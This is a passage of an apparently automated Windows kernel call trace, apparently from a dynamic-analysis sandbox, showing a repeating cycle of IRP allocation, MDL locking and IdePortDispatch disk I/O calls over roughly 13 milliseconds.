IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.136] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.136] IdePortDispatch () returned 0x103 [0093.136] KeWaitForMutexObject () returned 0x0 [0093.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.136] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.136] IdePortDispatch () returned 0x103 [0093.137] KeWaitForMutexObject () returned 0x0 [0093.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.137] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.137] IdePortDispatch () returned 0x103 [0093.137] KeWaitForMutexObject () returned 0x0 [0093.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.137] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.137] IdePortDispatch () returned 0x103 [0093.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.137] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.137] IdePortDispatch () returned 0x103 [0093.137] KeWaitForMutexObject () returned 0x0 [0093.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.137] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.137] IdePortDispatch () returned 0x103 [0093.137] KeWaitForMutexObject () returned 0x0 [0093.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.138] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.138] IdePortDispatch () returned 0x103 [0093.139] KeWaitForMutexObject () returned 0x0 [0093.139] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.139] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.139] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.139] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.139] IdePortDispatch () returned 0x103 [0093.140] KeWaitForMutexObject () returned 0x0 [0093.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.140] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.140] IdePortDispatch () returned 0x103 [0093.140] KeWaitForMutexObject () returned 0x0 [0093.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.140] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.140] IdePortDispatch () returned 0x103 [0093.140] KeWaitForMutexObject () returned 0x0 [0093.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.140] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.140] IdePortDispatch () returned 0x103 [0093.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.141] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.141] IdePortDispatch () returned 0x103 [0093.141] KeWaitForMutexObject () returned 0x0 [0093.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.141] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.141] IdePortDispatch () returned 0x103 [0093.141] KeWaitForMutexObject () returned 0x0 [0093.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.141] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.141] IdePortDispatch () returned 0x103 [0093.141] KeWaitForMutexObject () returned 0x0 [0093.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.141] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.141] IdePortDispatch () returned 0x103 [0093.142] KeWaitForMutexObject () returned 0x0 [0093.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.142] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.142] IdePortDispatch () returned 0x103 [0093.142] KeWaitForMutexObject () returned 0x0 [0093.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.142] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.142] IdePortDispatch () returned 0x103 [0093.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.142] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.142] IdePortDispatch () returned 0x103 [0093.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.143] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.143] IdePortDispatch () returned 0x103 [0093.143] KeWaitForMutexObject () returned 0x0 [0093.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.143] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.143] IdePortDispatch () returned 0x103 [0093.143] KeWaitForMutexObject () returned 0x0 [0093.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.143] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.143] IdePortDispatch () returned 0x103 [0093.143] KeWaitForMutexObject () returned 0x0 [0093.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.143] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.143] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.143] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.143] IdePortDispatch () returned 0x103 [0093.144] KeWaitForMutexObject () returned 0x0 [0093.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.144] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.144] IdePortDispatch () returned 0x103 [0093.144] KeWaitForMutexObject () returned 0x0 [0093.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.144] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.144] IdePortDispatch () returned 0x103 [0093.144] KeWaitForMutexObject () returned 0x0 [0093.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.144] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.144] IdePortDispatch () returned 0x103 [0093.144] KeWaitForMutexObject () returned 0x0 [0093.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.145] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.145] IdePortDispatch () returned 0x103 [0093.145] KeWaitForMutexObject () returned 0x0 [0093.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.145] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.145] IdePortDispatch () returned 0x103 [0093.145] KeWaitForMutexObject () returned 0x0 [0093.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.145] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.145] IdePortDispatch () returned 0x103 [0093.145] KeWaitForMutexObject () returned 0x0 [0093.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.145] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.145] IdePortDispatch () returned 0x103 [0093.146] KeWaitForMutexObject () returned 0x0 [0093.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.146] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.146] IdePortDispatch () returned 0x103 [0093.146] KeWaitForMutexObject () returned 0x0 [0093.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.146] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.146] IdePortDispatch () returned 0x103 [0093.146] KeWaitForMutexObject () returned 0x0 [0093.146] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.146] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.146] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.146] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.146] IdePortDispatch () returned 0x103 [0093.146] KeWaitForMutexObject () returned 0x0 [0093.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.147] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.147] IdePortDispatch () returned 0x103 [0093.147] KeWaitForMutexObject () returned 0x0 [0093.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.147] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.147] IdePortDispatch () returned 0x103 [0093.147] KeWaitForMutexObject () returned 0x0 [0093.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.147] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.147] IdePortDispatch () returned 0x103 [0093.147] KeWaitForMutexObject () returned 0x0 [0093.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.147] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.147] IdePortDispatch () returned 0x103 [0093.147] KeWaitForMutexObject () returned 0x0 [0093.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.148] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.148] IdePortDispatch () returned 0x103 [0093.148] KeWaitForMutexObject () returned 0x0 [0093.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.148] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.148] IdePortDispatch () returned 0x103 [0093.148] KeWaitForMutexObject () returned 0x0 [0093.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.148] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.148] IdePortDispatch () returned 0x103 [0093.149] KeWaitForMutexObject () returned 0x0 [0093.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.149] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.149] IdePortDispatch () returned 0x103 [0093.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.149] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.149] IdePortDispatch () returned 0x103 [0093.149] KeWaitForMutexObject () returned 0x0 [0093.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.149] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.149] IdePortDispatch () returned 0x103 [0093.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 